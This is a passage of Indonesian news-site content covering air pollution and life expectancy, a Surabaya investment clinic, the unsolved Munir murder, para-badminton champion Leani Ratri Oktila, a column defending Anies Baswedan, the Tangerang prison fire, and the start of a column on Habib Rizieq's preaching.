penurunan usia harapan hidup bahkan lebih besar, mencapai lebih dari enam tahun usia hidup mereka. Selama dua dekade, rata-rata tingkat polusi udara Indonesia mencapai tiga kali lipat dari ambang sesuai pedoman WHO. "Jika, misalnya, Indonesia berhasil mengurangi polusi udara sebanding dengan apa yang dicapai China dalam enam tahun terakhir, rata-rata orang Indonesia diperkirakan dapat hidup 1 tahun lebih lama. Sementara di daerah yang paling tercemar di Indonesia manfaatnya perpanjangan harapan hidup ini dapat mencapai 2,4 tahun," kata Kenneth. Kualitas udara di Bandung, ibu kota Jawa Barat, bahkan lebih buruk daripada di Jakarta. Jika tingkat polusi Bandung tahun 2019 bertahan sepanjang hidup seseorang, rata-rata usia harapan hidup orang tersebut akan berkurang 6,5 tahun. Di Bogor, kota paling tercemar di Indonesia, rata-rata orang diperkirakan akan kehilangan harapan hidup sekitar 7 tahun. Dalam kesempatan yang sama, Piotr Jakubowski, selaku Chief Growth Officer Nafas Indonesia, mengatakan bahwa polusi udara menyebabkan banyak masalah terkait dengan kesehatan, terutama yang berkaitan dengan saluran pernapasan dan paru-paru. Belum lagi, kata dia, saat ini dunia tengah dihadapkan dengan pandemi COVID-19 yang dapat memperburuk kesehatan pernapasan manusia. "Data WHO menunjukkan bahwa 9 dari 10 orang menghirup udara yang mengandung polutan tingkat tinggi. Untuk itu, kita perlu sadar akan bahaya polusi udara, karena udara yang kita hirup mengambil kehidupan bertahun-tahun dari masa depan kita," kata dia. Penyebab Piotr menjelaskan ada sejumlah hal penyebab polusi di Indonesia, utamanya di Jakarta yang bukan hanya disebabkan dari transportasi. Faktor yang dimaksud adalah energi (pembangkit listrik tenaga batu bara & gas), industri (pabrik & manufaktur), pembakaran limbah industri, industri ilegal, pembakaran sampah pinggir jalan dan pembakaran lahan pertanian. Salah satu sumber polusi partikulat di mana regulasi lebih ketat dimungkinkan adalah batubara. Pembakaran batubara mengeluarkan karbon hitam, suatu bentuk partikulat, sulfur dioksida (SO2) dan nitrogen oksida (NOx) yang kemudian bereaksi dengan zat lain di atmosfer untuk membentuk partikulat. Di Jakarta, salah satu kota terpadat di dunia, menurut catatan AQLI kendaraan bermotor menyumbang 31,5 persen PM2.5 pada 2008-2009 dan 70 persen PM10 — polusi partikulat di mana diameter setiap partikel adalah 10 mikrometer atau lebih kecil. Sejak 2010 terjadi peningkatan tajam jumlah pembangkitan listrik dari pembangkit listrik tenaga batu bara, serta konsumsi bensin dan solar, yang keduanya berkontribusi pada polusi partikulat. "Masalahnya adalah pembangkit listrik tenaga batu bara di Indonesia — ada sekitar sepuluh dalam radius 100 km dari Jakarta— saat ini diizinkan untuk melepas 3 hingga 7,5 kali lebih banyak partikulat, NOx, dan SO2 daripada pembangkit listrik tenaga batu bara di Tiongkok, dan 2 hingga 4 kali lebih banyak daripada pembangkit listrik tenaga batu bara India yang dibangun antara 2003 dan 2016," kata Kenneth. Ambang konsentrasi PM, SO2, dan NOx dalam emisi pembangkit listrik tenaga batu bara Indonesia adalah 3 hingga 7,5 kali lebih tinggi daripada ambang yang berlaku China, dan 2 hingga 4 kali lebih tinggi daripada ambang di India untuk pembangkit yang dibangun antara tahun 2003 dan 2016. Meskipun pemerintah telah berusaha untuk memperketat ambang ini sejak 2008, berbagai kritik yang saling berbenturan terhadap revisi yang diusulkan telah menghambat upaya tersebut. Upaya Pemerintah Pemerintah Indonesia telah mulai mengambil beberapa langkah awal untuk mengatasi masalah polusi partikulat. Sejauh ini, sebagian besar upaya terkonsentrasi pada sektor transportasi. Misalnya, pada 2017, pemerintah Indonesia mewajibkan semua kendaraan berbahan bakar bensin mengadopsi standar bahan bakar Euro-4 pada September 2018. Standar yang awalnya diadopsi di Uni Eropa dan sekarang diadopsi secara luas di seluruh dunia dan menjadi standar internasional, Euro-4 menuntut penggunaan bahan bakar yang berkualitas tinggi dan lebih bersih dengan kandungan sulfur tidak melebihi 50 bagian per juta (ppm). "Ini sepuluh kali lebih ketat dari standar bahan bakar Euro-2 yang sebelumnya digunakan di Indonesia," kata Kenneth. Pemerintah Indonesia juga telah meningkatkan upaya memerangi polusi udara dari kebakaran lahan gambut dan hutan. Setelah bencana Kabut Asap Asia Tenggara 2015 menyebabkan kerusakan kesehatan dan ekonomi internasional, Presiden Joko Widodo memberlakukan moratorium pengembangan lahan gambut baru dan mendirikan Badan Restorasi Gambut (BRG). Upaya BRG untuk menggenangi kembali lahan gambut yang terdegradasi disebut sebagai salah satu kemungkinan alasan mengapa Indonesia baru-baru ini mengalami lebih sedikit kebakaran. Pada 2018, AQLI mencatat luas lahan yang mengalami kebakaran hanya 7 persen dari luas lahan yang mengalami kebakaran pada 2015. "Namun karena sebagian lahan yang terbakar pada 2018 diprioritaskan untuk restorasi gambut atau terlindung dari drainase, tidak jelas apakah penurunan kebakaran baru-baru ini disebabkan oleh upaya pemerintah atau kondisi cuaca yang lebih baik," katanya. Tantangan ganda pertumbuhan ekonomi dan kualitas lingkungan yang dihadapi Indonesia saat ini tidak berbeda dengan yang pernah dihadapi oleh London, Inggris, Los Angeles, California, atau Osaka, Jepang — yang dulu dijuluki “the big smoke”, “the smog capital of the world” dan “smoke capital” — selama periode industrialisasi mereka. Warisan perbaikan lingkungan itu adalah bukti bahwa tantangan polusi di Indonesia dapat dipecahkan. Faktanya, China telah mencetak kemajuan luar biasa dalam meningkatkan kualitas udara dalam beberapa tahun terakhir. Pada 2014, pemerintah mendeklarasikan “perang melawan polusi” dan melembagakan rencana nasional untuk menghadapinya. Menurut data satelit, polusi partikulat di kota-kota China telah berkurang rata-rata sekitar 30 persen sejak “perang melawan polusi” dicanangkan. India, yang telah mendeklarasikan perang melawan polusinya sendiri pada Januari 2019, akan berada di jalur yang sama jika berhasil memenuhi target pengurangan polusi yang dinyatakan sebesar 20 hingga 30 persen. "Indonesia berpeluang mengalami kemajuan serupa. Jika Indonesia ingin mencapai dan mempertahankan pengurangan polusi 30 persen yang sama seperti yang dialami di China, rata-rata penduduknya akan bertambah usia harapan hidupnya satu tahun. Penduduk di daerah yang paling tercemar di Indonesia akan hidup 2,5 sampai 3 tahun lebih lama," kata Kenneth. (mth)

Klinik Layanan Investasi di Surabaya Permudah Investor Tanamkan Modal

Surabaya, FNN - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPM-PTSP) Kota Surabaya menyiapkan klinik layanan investasi guna memberikan kemudahan bagi menanamkan modalnya di Kota Pahlawan, Jatim. Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPM-PTSP) Kota Surabaya M Taswin di Surabaya, Kamis, mengatakan, layanan klinik investasi tersebut salah satunya bertujuan untuk memudahkan para investor mendapatkan informasi mengenai peluang-peluang investasi di Kota Surabaya. "Sehubungan dengan pandemi di Surabaya sudah mulai mereda, maka kami harus segera menggerakkan ekonomi. Dalam hal ini, DPM-PTSP membuat klinik investasi," kata Taswin. Ia menjelaskan, bahwa klinik investasi tak hanya menyediakan layanan konsultasi mengenai penanaman modal asing (PMA) atau penanaman modal dalam negeri (PMDN). Sebab, inovasi terbaru ini juga menyediakan berbagai macam informasi mengenai perizinan sebagaimana yang telah diatur dalam Perwali Nomor 41 Tahun 2021. "Mengenai perizinan, sekarang sudah satu pintu di DPM-PTSP. Ini sesuai Perwali No 41 Tahun 2021, sistemnya lagi berproses. Ada yang jalan, ada yang beberapa masih input di sistem," ujarnya. Taswin menyebut, nantinya masyarakat cukup datang ke klinik investasi jika ingin mendapatkan informasi mengenai beragam jenis investasi maupun perizinan di Surabaya. Ia mengaku, saat ini tengah menyelesaikan penataan ruangan untuk lokasi layanan tersebut. "Nanti cukup satu pintu para pelaku usaha datang ke situ menanyakan apa saja sudah selesai. Nah, klinik ini ruangan sudah ada, tinggal penataan saja, nanti para pelaku investor bisa langsung menanyakan apa saja mengenai rencana investasi mereka di Surabaya," katanya. Pada Perwali Nomor 41 Tahun 2021 telah diatur beberapa jenis perizinan yang nanti tersedia melalui layanan di klinik investasi tersebut, baik itu terkait layanan perizinan berusaha, perizinan non berusaha maupun Pelayanan non perizinan. Taswin menyebut, pelayanan terpadu di klinik investasi itu juga mencakup semua jenis perizinan yang ada di masing-masing Perangkat Daerah (PD) Pemkot Surabaya. "Semua (perizinan) yang ada di Perwali No 41 Tahun 2021, nanti masuknya melalui DPM-PTSP dan keluarnya juga. Untuk back office-nya adalah PD teknis sesuai dengan permohonan izin yang diajukan," katanya. Oleh karena itu, Taswin menyatakan, bahwa ke depan masyarakat tidak perlu lagi datang ke PD terkait apabila ingin mengurus perizinan atau hanya sekadar konsultasi. Sebab, melalui klinik investasi, pemkot sudah menyediakan semuanya. "Tinggal mereka datang sudah. Kalaupun datang sekarang bisa, cuma (sementara) ruangannya yang dipakai di DPM-PTSP. Nanti kami buat ruangan khusus untuk konsultasi, mudah-mudahan (satu minggu selesai), kami lagi tata. Saat inipun pelaku usaha mau konsultasi bisa. Kami buka mulai hari ini juga bisa," ujarnya. (mth)

Mencari Aktor Intelektual Pembunuhan Munir dan 6 Laskar FPI

SUDAH 17 tahun berlalu. Dua presiden. Puluhan kali desakan dari publik untuk mengungkap. Tetapi, aktor intelektual pembunuhan Munir Said Thalib, mantan koordinator Kontras, belum juga ditemukan. Jangankah ditemukan, dimulai saja pun proses pencariannya, belum. Munir dibunuh pada 7 September 2004 ketika dalam penerbangan dengan Garuda dari Jakarta menuju Amsterdam. Otopsi menemukan racun arsenik dalam jumlah besar di tubuh Munir. Pilot Garuda, Pollycarpus Budihari Priyanto, dijatuhi hukuman penjara 14 tahun karena terbukti membunuh aktivis HAM (Hak Azasi Manusia) itu. Pollycarpus diyakini tidak mungkin sendirian. Dia hanya sebagai operator lapangan dengan misi meracun Munir lewat minuman. Tim Pencari Fakta (TPF) yang dibentuk Presiden Susilo Bambang Yudhoyono (SBY) waktu itu menyimpulkan ada pemufakatan jahat untuk menghabisi Munir. TPF menuliskan tiga rekomendasi. Akan tetapi, “Rekomendasi Nomor 3” yang sangat krusial. Yaitu, permintaan agar SBY memerintahkan Kapolri untuk mendalami dugaan keterlibatan lima (5) orang dalam pembunuhan ini. Kelima orang itu adalah Indra Setyawan, Ramelga Anwar, Muchdi PR, Bambang Irawan dan AM Hendropriyono. Empat dari lima orang ini sudah diadili. Hanya Hendropriyono yang belum pernah diperiksa. Para aktivis HAM, para pakar hukum pidana, politisi dan tokoh-tokoh masyarakat menuntut agar pemerintah segera mengungkap aktor intelektual pembunuhan Munir. Namun, hingga saat ini tak berhasil ditemukan. Sekarang tidak banyak waktu yang tersisa untuk membongkar aktor intelektual itu. Hanya setahun lagi. Sebab, begitu kasus pembunuhan Munir genap berusia 18 tahun, maka berlakulah aturan kedaluwarsa. Artinya, kasus pembunuhan Munir akan dimasukkan ke tong sampah setelah 7 September 2022. TPF Munir dibetuk pada 22 Desember 2004. Mereka bekerja tujuh bulan sampai 23 Juni 2005. Pada 24 Juni 2005, TPF menyerahkan hasil penyelidikan mereka kepada Presiden SBY. Anehnya, SBY tidak langsung mengumumkan temuan TPF kepada publik. Sampai akhirnya masa jabatan keduanya selesai pada 20 Oktober 2014. Sekarang, penuntasan kasus pembunuhan Munir ada dalam tanggung jawab Presiden Jokowi. Dia pernah berjanji akan menyelesaikan kasus Munir. Tetapi, sampai detik ini tidak ada realisasinya. Bahkan, dokumen yang berisi hasil kerja dan rekomendasi TPF dinyatakan hilang pada 2016. Hilang yang sangat misterius. Yang jelas, dokumen itu sudah diserahkan TPF kepada SBY. Rachlan Nashidik, politisi Partai Demokrat yang juga mantan anggota TPF, mengatakan SBY sudah mengirimkan dokumen final TPF kepada para penegak hukum. Dia yakin, dokumen itu ada di Istana saat ini. Hari ini, publik menuntut pengungkapan aktor intelektual atau dalang utama pembunuhan Munir. TPF sebetulnya sudah memberikan aba-aba tentang ke mana penyelidikan krusial harus di arahkan untuk menemukan Sang Aktor. Tetapi, SBY dan Jokowi tampaknya menghindari arah penyelidikan itu. Dari tahun ke tahun penyelidikan penting itu tidak pernah terlaksana. Nah, mengapa berat sekali mencari aktor intelektual pembunuhan Munir? Apa yang menjadi kendala? Jawaban singkatnya: kedua presiden, baik SBY maupun Jookowi, tak berani. Mereka tidak punya niat, dan juga nyali, untuk menuntaskan kasus pembunuhan Munir. Presiden SBY dulu, dan Presiden Jokowi sekarang, memiliki banyak instansi dan lembaga yang bisa dengan mudah menemukan dalang pembunuhan Munir. Tetapi itu tidak mereka lakukan. Walaupun Pollycarpus sudah meninggal dunia, upaya untuk mengungkap aktor intelektual pembunuhan Munir masih bisa dilakukan. Sangat mungkin, pintu persembunyian Sang Aktor bisa terbuka kalau Rekomendasi Nomor 3 TPF dilaksanakan sepenuhnya. Setelah kasus pembunuhan Munir diserahkan ke Jokowi, tidak ada perubahan sampai hari ini. Rekomendasi agar Polri mendalami peranan Hendropriyono tidak pernah terlaksana. Padahal, pemeriksaan Hendro sangat penting. Diyakini, bisa membuka jalan menuju “persembunyian” Sang Aktor pembunuhan Munir. Begitu banyak desakan dan imbauan, tidak dihiraukan oleh Jokowi. Selain dalang pembunuhan Munir, rakyat juga menuntut agar para penegak hukum mengungkap aktor intelektual pembunuhan 6 (enam) lasar pengawal Habib Rizieq Syihab (HRS) di KM-50. Para pakar hukum dan forensic berpendapat tidak ada kendala untuk menelusuri dalang KM-50. Sayangnya, para tersangka yang sudah ditetapkan oleh kepolisian pun bisa bebas bekerja di instansi mereka. Sudah sembilan bulan berlalu, kasus ini pun kelihatannya bisa menguap begitu saja. Tetapi, rakyat akan terus menuntut penegakan keadilan. Rangkaian peristiwa pembunuhan KM-50 itu sangat jelas. Saking jelasnya, para petinggi kepolisian sempat gugup pada awal-awal penangan kasus tersebut. Banyak orang percaya penanganan kasus ini dengan rekayasa pasti akan terbongkar. Tidak lama lagi!

Leani Ratri Oktila, Menembus Keterbatasan, Mencetak Sejarah

Jakarta, FNN - Leani Ratri Oktila sempat mengira perjalanan kariernya sebagai atlet bulu tangkis Indonesia berakhir setelah tragedi kecelakaan sepeda motor menimpa dirinya pada 2011 silam. Perempuan yang masih berusia 21 tahun itu padahal bermimpi untuk menjadi atlet bulu tangkis yang hebat dan bisa membanggakan Indonesia di berbagai kejuaraan, apalagi ia sudah menekuni olahraga tepok bulu itu sejak umurnya masih tujuh tahun. Namun mimpi tersebut harus dikubur dalam-dalam sejak tragedi kecelakan yang membuatnya mengalami patah tulang pada kaki dan tangan kirinya. Dia divonis mengalami gangguan pada kakinya yang memiliki panjang yang berbeda. Ia pun harus pensiun sebagai atlet non-disabilitas dan beralih menjadi atlet disabilitas. Di tengah keterbatasan fisiknya itu, Leani memutuskan untuk terus berjuang merawat mimpinya agar bisa menjadi pebulu tangkis hebat, meski harus menghadapi berbagai tantangan. Dalam perjalanannya menjadi atlet Paralimpiade, ia sempat mendapat tentangan dari orang tuanya yang tidak mau anaknya merasa kecil hati karena harus bertanding sebagai atlet non-disabilitas. Namun Leani selalu memutuskan untuk terus berjuang tak kenal lelah demi mewujudkan cita-citanya menjadi atlet yang membanggakan. Ia pun mulai mengikuti berbagai turnamen. Gelar pertamanya di cabor para-bulu tangkis dicatatkan saat Pekan Paralimpiade Nasional (Peparnas) 2012 Riau ketika dia meraih satu emas dan satu perak. Tahun 2013 menjadi awal perjalanan Leani bergabung bersama dengan Komite Paralimpiade (NPC) Indonesia. Ia pun mulai turun dalam kejuaraan internasional. Naik podium utama berbagai kejuaraan sudah pernah dirasakan, mulai dari emas ASEAN Para Games, emas Asian Para Games, hingga Kejuaraan Dunia Para Games. Berkat rentetan prestasi yang ditorehkannya, Federasi Badminton Dunia (BWF) menganugerahinya gelar atlet para-badminton putri terbaik selama dua tahun berturut-turut pada 2018 dan 2019. “Walaupun saya kecelakaan, tapi saya tidak merasa terpuruk saat itu. Yang membuat saya tangguh di tengah keterbatasan, ya, pasti keluarga dan orang sekitar saya yang selalu mendukung saya,” kata Leani saat dihubungi Antara di Jakarta, Rabu. Kini, sudah 10 tahun berlalu sejak tragedi kecelakaan itu, Leani justru mengukuhkan dirinya sebagai atlet Indonesia tersukses yang mampu mencetak sejarah dengan mempersembahkan tiga medali dalam satu penyelenggaraan Olimpiade atau Paralimpiade lewat cabang para-bulu tangkis. Atlet berusia 30 tahun itu membawa pulang dua emas dan satu perak dalam cabang para-bulu tangkis yang baru pertama kalinya dipertandingkan di Paralimpiade. Emas pertama dipersembahkan dari nomor ganda putri SL3-SU5 bersama Sadiyah Khalimatus pada Sabtu, 4 September. Kemenangan tersebut mengulang kisah indah Indonesia di ajang Paralimpiade dengan menghadirkan kembali medali emas untuk Merah Putih, mengakhiri penantian selama 41 tahun. Sehari berikutnya, Leani mesti menjalani dua laga final, yakni tunggal putri SL4 dan ganda campuran SL3-SU5 bersama Hary Susanto. Dia hampir saja meraih mahkota kedua ketika mencapai final tunggal putri SL4. Namun ia harus merelakan medali emas kepada wakil China Cheng Hefang setelah melewati pertarungan ketat rubber game selama hampir satu jam. Leani hanya memiliki waktu kurang dari tiga jam untuk kembali bertarung pada pertandingan final ganda campuran bersama Hary Susanto. Meski letih, ia tak mau menyerah begitu saja dan tetap memberikan seluruh sisa kekuatannya di lapangan demi sekeping emas lainnya. Usai gagal di final tunggal putri, Leani justru seakan terlahir kembali, tampil habis-habisan pada final ganda campuran untuk menghabisi wakil Prancis Lucas Mazur/Faustine Noel dan mengklaim emas keduanya di Tokyo. Emas kedua itu menjadi penutup yang manis bagi perjalanan Indonesia di hari terakhir pelaksanaan Paralimpiade. Raihan dua emas menjadi prestasi terbaik kontingen Merah Putih dalam partisipasinya di pesta olahraga penyandang disabilitas terbesar di dunia itu. “Ini merupakan Paralimpiade dan pertama kalinya saya bertanding di Paralimpiade,” katanya dikutip laman resmi Olympics. “Saya selalu mengatakan bahwa saya ingin menunjukkan yang terbaik untuk Indonesia, memberikan segalanya untuk masyarakat Indonesia,” ujarnya. Turun di tiga nomor pertandingan, Leani jelas menargetkan dapat membawa pulang tiga medali emas dari Tokyo. “Bagi saya pribadi, hasil ini tidak sesuai target karena semua atlet tentunya ingin meraih yang terbaik. Tentunya saya turun di tiga nomor, jadi inginnya tiga emas,” ujarnya. Meski demikian, Leani mengaku tetap bersyukur dengan torehan tersebut. Sebab, ia mengatakan telah memberikan penampilan yang maksimal selama pertandingan. Leani yang turun di tiga nomor pertandingan itu memang menghadapi tantangan yang lebih berat karena dia mempunyai jadwal pertandingan yang lebih padat serta waktu istirahat yang minim. Atlet kelahiran Riau, Pekanbaru itu tercatat telah menjalani 12 pertandingan sejak para-bulutangkis dimulai pada 1 September, dan bahkan mesti melakoni empat laga sekaligus dalam sehari sebelum akhirnya mampu merebut medali emas ganda putri. Rasa letih itu pun akhirnya terbayar tuntas. Leani yang dulu sempat mengira bahwa perjalanan kariernya sebagai pebulu tangkis bakal berakhir, kini justru menuliskan tinta manis dalam catatan sejarah Indonesia sebagai atlet yang berhasil menghadirkan kembali medali emas untuk Merah Putih, mengakhiri penantian selama empat dekade lamanya. Maka, tak salah jika Leani dijuluki sebagai “Ratu” para-bulu tangkis. Biodata Singkat: Nama: Leani Ratri Oktila Tempat, tanggal lahir: Kampar, Pekanbaru, 6 Mei 1991 Cabor: Para-bulutangkis Klasifikasi: SL4 Prestasi: Olimpiade -Medali emas ganda putri SL3-SU5 bersama Khalimatus Sadiyah di Tokyo 2020 -Medali emas ganda campuran SL3-SU5 bersama Hary Susanto di Tokyo 2020 -Medali perak tunggal putri SL4 di Tokyo 2020 Kejuaraan Dunia BWF - Medali emas ganda campuran, Korea 2017 - Medali perak tunggal putri, Korea 2017 - Medali perunggu ganda putri, Korea 2017 - Medali emas tunggal putri, Swiss 2019 - Medali emas ganda campuran, Swiss 2019 - Medali perak ganda putri, Swiss 2019 Asian Paragames​​​​​​​ - Medali emas ganda campuran, Incheon 2014 - Medali perak ganda putri, Incheon 2014 - Medali perunggu tunggal putri, Incheon 2014 - Medali emas ganda putri, Jakarta 2018 - Medali emas ganda campuran, Jakarta 2018 - Medali perak tunggal putri, Jakarta 2018 ASEAN Paragames​​​​​​​ - Medali emas tunggal putri, Singapura 2015 - Medali emas ganda putri, Singapura 2015 - Medali emas ganda campuran, Singapura 2015 - Medali emas tunggal putri, Kuala Lumpur 2017 - Medali emas ganda putri, Kuala Lumpur 2017 - Medali emas ganda campuran, Kuala Lumpur 2017 Turnamen internasional - Tujuh emas, dua perak dari Indonesia Para-Badminton International 2014-2016 - Lima emas Thailand Para-Badminton International 2017-2018 - Tiga emas, satu perak Australia Para-Badminton International 2018 - Lima emas, dua perak Dubai Para-Badminton International 2019 - Enam emas, Canada Para-Badminton International 2019 - Dua emas, satu perak Brazil Para-Badminton International 2020 ​​​​​​​

Anies Gubernur Untuk Semua Pemeluk Agama

Oleh Tony Rosyid *) KETIKA anda dilantik jadi pemimpin, saat itu anda menjadi pemimpin untuk semua rakyat anda. Tidak peduli partai pengusung anda, dan kelompok mana yang mendukung dan memilih anda. Negeri ini milik rakyat, tanpa terkecuali. Siapapun pemimpin terpilih, dia milik rakyat. Maka, dia bertugas untuk melayani dan mengurus rakyat, tanpa terkecuali. Bukan untuk melayani dan membela para pendukungnya saja. Presiden, gubernur, bupati, walikota, bahkan lurah, semua tanpa terkecuali, adalah milik dan mendapat amanah dari rakyat. Karena itu, harus bekerja untuk seluruh rakyat. Fenomena Anies Baswedan, Gubernur DKI Jakarta yang terpilih sejak tahun 2017, layak menjadi cermin buat semua pemimpin di negeri ini. Ada tuduhan bahwa Anies menang karena politik identitas. Anies menang karena didukung oleh kelompok tertentu. Stigma ini terus dijaga dan diviralkan oleh pihak-pihak tertentu. Tentu, pihak-pihak yang tidak suka, atau terganggu dengan terpilihnya Anies. Tidak suka, karena berbeda dukungan. Terganggu, bisa secara ekonomi, karena bisnis haramnya (melanggar hukum) dihentikan. Atau terganggu secara politik, karena agenda politiknya, baik untuk pileg, pilgub maupun pilpres 2024 mengalami pergeseran. Orang-orang ini risau dan gelisah. Maka diantara strategi yang selama ini terus dilakukan adalah pertama, mencari-cari kesalahan Anies. Disini rawan fitnah, dan selama ini fitnah terhadap Anies sering terjadi. Soal jembatan Kamayoran ambruk, hadiah rumah mewah, suap reklamasi dll. Terlalu bersemangat mencari kesalahan, sehingga lupa dan abai terhadap data. Dan semuanya tidak terbukti. Kata orang Jawa: kecelek. Kedua, mengganggu program-program Pemprov DKI. Formula E dan pembangunan Jakarta International Stadium (JIS) diutak-atik. Mereka ingin program Anies, terutama yang spektakuler itu gagal. Sembari mencibir semua penghargaan yang diterima oleh Pemprov DKI. Ketiga, memblokade pendukung Anies. Jangan sampai bertambah dan membesar. Stigma yang sering mereka munculkan adalah "kadrun". Ini disengaja agar kelompok tengah dan kiri, juga kelompok non muslim anti terhadap Anies. Pertanyaan sederhana: adakah kelompok agama, etnis atau sosial tertentu yang dirugikan atau diperlakukan secara tidak adil oleh kebijakan Anies selaku Gubernur DKI? Kalau ada, kita protes dan gugat bareng-bareng. Kita protes secara kolektif. Tapi, kalau gak ada, kita harus fair dan obyektif Gak baik kalau terus-terusan membawa isu SARA untuk menyerang dan menyurutkan Anies. Yang rugi negeri ini, dan kita semua. Biarlah Anies menyapa dan bertindak adil terhadap semuanya. Jangan ketika Anies datang ke gereja, pure dan vihara, ada kelompok yang berupaya menghalang-halangi. Kedatangan Anies ke tempat-tempat ibadah untuk menegaskan bahwa pertama, masyarakat kita ini religius. Kedua, Anies Baswedan ini Gubernur seluruh rakyat Jakarta. Apapun latar belakang agama, etnis, sosial, ekonomi, pendidikan, pandangan politik, selama mereka warga Jakarta, mereka adalah warganya Anies. Mereka punya hak yang sama untuk mendapatkan pelayanan dan diperlakukan secara adil. Anies adalah gubernur untuk semua, bukan gubernur untuk kelompok tertentu. Sikap dan sepak terjang Anies ini oleh kelompok-kelompok tadi dianggap telah meruntuhkan tembok pembatas yang mereka terus bangun untuk memblokade Anies. Maka, ketika Anies datang ke Vihara Dharma Jaya Toasebio di Jakarta Barat (5/9/2021), dengan memberi penghormatan, spontan langsung banyak bullyan. Mereka menariknya ke isu aqidah. Seolah Anies gak paham batas-batas aqidah. BuzzerRp ramai di medsos menyerang Anies. Menuduh Anies jual aqidah demi pilpres 2024. Kenapa mereka marah atas sikap Anies ini? Karena langkah Anies dianggap berhasil menjebol tembok pembatas yang selama ini mereka bangun dengan nama dan istilah "kadrun". Sampai ada yang membuat kesimpulan begini: Jika buzzeRp itu menyerang dan marah-marah, maka artinya Gubernur DKI sedang berhasil, atau sedang melakukan langkah yg baik. Kalau buzzerRp memuji, maka itu tandanya Gubernur DKI sedang salah langkah. Pujian mereka untuk mendorong agar Gubernur Anies terus berbuat semakin salah. Terkait "Penghormatan Anies" terhadap pengurus/pengelola Vihara Dharma Jaya yang selama ini sukses membantu melancarkan program vaksinasi DKI, BuzzeRp marah-marah, karena dinding tembok pembatas yang mereka bangun selama ini ternyata jebol. Mereka yang selama ini memblokade pendukung Anies di kelompok tertentu, ternyata dihadapkan pada fakta bahwa Anies bekerja, bersikap dan berkomunikasi secara adil dengan semua lapisan sosial masyarakat Jakarta. Ini telah merobohkan tembok yang selama ini mereka pelihara. Para buzzerRp berpikir, dengan tuduhan kadrun, mereka bisa selamanya memblokade Anies dari kelompok-kelompok agama, etnis dan sosial tertentu. Nyatanya? Tidak! Karena Anies bekerja sebagai gubernur dan pemimpin untuk seluruh warga DKI. Bukan gubernur dan pemimpin kelompok tertentu. Anda bisa cek data survei tentang tingkat kepuasan warga DKI. Tapi, survei yang bener-bener survei ya.. Saya kira, kita semua, seluruh bangsa ini sepakat bahwa siapapun pemimpin yang bersikap tidak adil, kita akan protes. Ketidakadilan itu ketidakwajaran. Ketidakadilan itu ketidakwarasan. Ketidakadilan itu merusak sendi-sendi berbangsa dan bernegara. Jangan blokade Anies. Biarlah Anies bekerja dan melayani seluruh warga DKI, tanpa terkecuali. Jangan dihalang-halangi hanya untuk memuaskan ego dan menjaga kepentingan bisnis maupun rencana politik. *) Pengamat Politik dan Pemerhati Bangsa

Korban Kebakaran Penjara Tangerang Bertambah Tiga Orang

Jakarta, FNN - Jumlah korban kebakaran di Lembaga Pemasyarakatan (Lapas) Kelas I Tangerang, Provinsi Banten bertambah tiga orang. Dengan demikian, total tewas secara keseluruhan menjadi 44 orang narapidana. "Innalillahi wa inna ilaihi roji'un. Tiga orang warga binaan yang dirawat di RSUD Kabupaten Tangerang meninggal dunia," kata Kepala Bagian Humas dan Protokol Direktorat Jenderal Pemasyarakatan Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Rika Aprianti melalui keterangan tertulis yang diterima, di Jakarta, Kamis, 9 September 2021. Ketiga korban tersebut, yakni Hadiyanto bin Ramli, warga Kelurahan Tugu Utara, Kecamatan Koja, Jakarta Utara. Korban kedua yakni atas nama Adam Maulana bin Yusuf Hendra, warga Kelurahan Cimerang, Kecamatan Purabaya, Kabupaten Sukabumi, Jawa Barat. Korban ketiga yakni Timothy Jaya bin Siswanto narapidana tindak pidana narkotika yang diketahui beralamat di Jalan Sabang Nomor 39, Taman Imam Bonjol, Tangerang, Provinsi Banten. Sebelumnya, Menteri Hukum dan Hak Asasi Manusia (Menkumham) Yasonna Laoly menjanjikan uang santunan senilai Rp 30 juta kepada masing-masing keluarga narapidana yang menjadi korban kebakaran Lapas Kelas I Tangerang. "Sebagai bagian perwujudan duka, kami akan memberikan santunan senilai Rp 30 juta kepada masing-masing keluarga korban," kata Menkumham Yasonna Laoly. Selain santunan, Yasonna juga menginstruksikan jajarannya membantu pemulasaraan jenazah sampai selesai. Kemenkumham juga telah membentuk lima tim guna menangani kejadian tersebut. Salah, satu khusus membantu pemulasaraan, pemakaman, dan pengantaran jenazah. (MD).

Pilihan Dakwah Habib Rizieq dalam Perspektif M. Natsir

Oleh Ady Amar *) ADA ungkapan menarik dari M. Natsir, tokoh Partai Masyumi dan mantan Perdana Menteri RI ke-5, yang bisa menggambarkan suasana para penguasa, yang tidak saja pada masa penjajahan kolonial dulu, tapi bahkan bisa dipakai mengenali ciri penguasa masa kini dan bahkan masa akan datang, yang anti pada kritik. Begini ungkapan M. Natsir itu, "Islam beribadah akan dibiarkan, Islam berekonomi akan diawasi, Islam berpolitik akan dicabut seakar-akarnya." Apa yang diungkapkan M. Natsir itu relevan untuk melihat posisi umat Islam saat ini. Dimana kegiatan peribadatan (ubudiyah) dibuat semarak mungkin, dan bahkan difasilitasi. Ini yang disebut dakwah hanya pada Amar Ma'ruf semata, membebaskan dakwah dari Nahi Munkar. Dakwah tidak sepaket, amar ma'ruf nahi munkar, itu yang diberi tempat untuk tumbuh subur. Sedang dakwah satu paket "amar ma'ruf nahi munkar" apalagi lebih khusus lagi, lebih memilih dakwah pada nahi munkar, itu dianggap dakwah politik yang tidak disuka bahkan dibenci penguasa. Konsekuensi akan muncul koreksi dalam dakwahnya berdasarkan haq dan batil pada penguasa, itu momok menakutkan dan dianggap sebagai ancaman. Para pengusung dakwah model nahi munkar, itu pasti jadi musuh penguasa. Dakwahnya disumpal dengan berbagai cara, bahkan membenturkan dengan sesama internal umat beragama. Pemihakan penguasa atas benturan yang terjadi, semakin jelas menampakkan di posisi mana penguasa itu berada. Relevansi ungkapan M. Natsir di atas menampakkan corak penguasa dalam menggunakan kekuasaannya. Jika itu dirasakan saat ini, maka ungkapan M. Natsir itu bisa juga disebut "rumus" melihat fenomena yang terjadi, bahkan sepanjang masa. Munculnya dakwah nahi munkar yang tampak lebih dipilih oleh Habib Rizieq Shihab, meski dakwah amar ma'ruf yang dilakukan Habib Rizieq dengan organisasi FPI-nya (sudah dibubarkan pemerintah tanpa melalui pengadilan) tidak kalah prioritasnya dibanding nahi munkar-nya. Tapi yang tersorot tetap dakwah nahi munkar-nya, dakwah yang tidak jadi pilihan utama, jika tidak mau 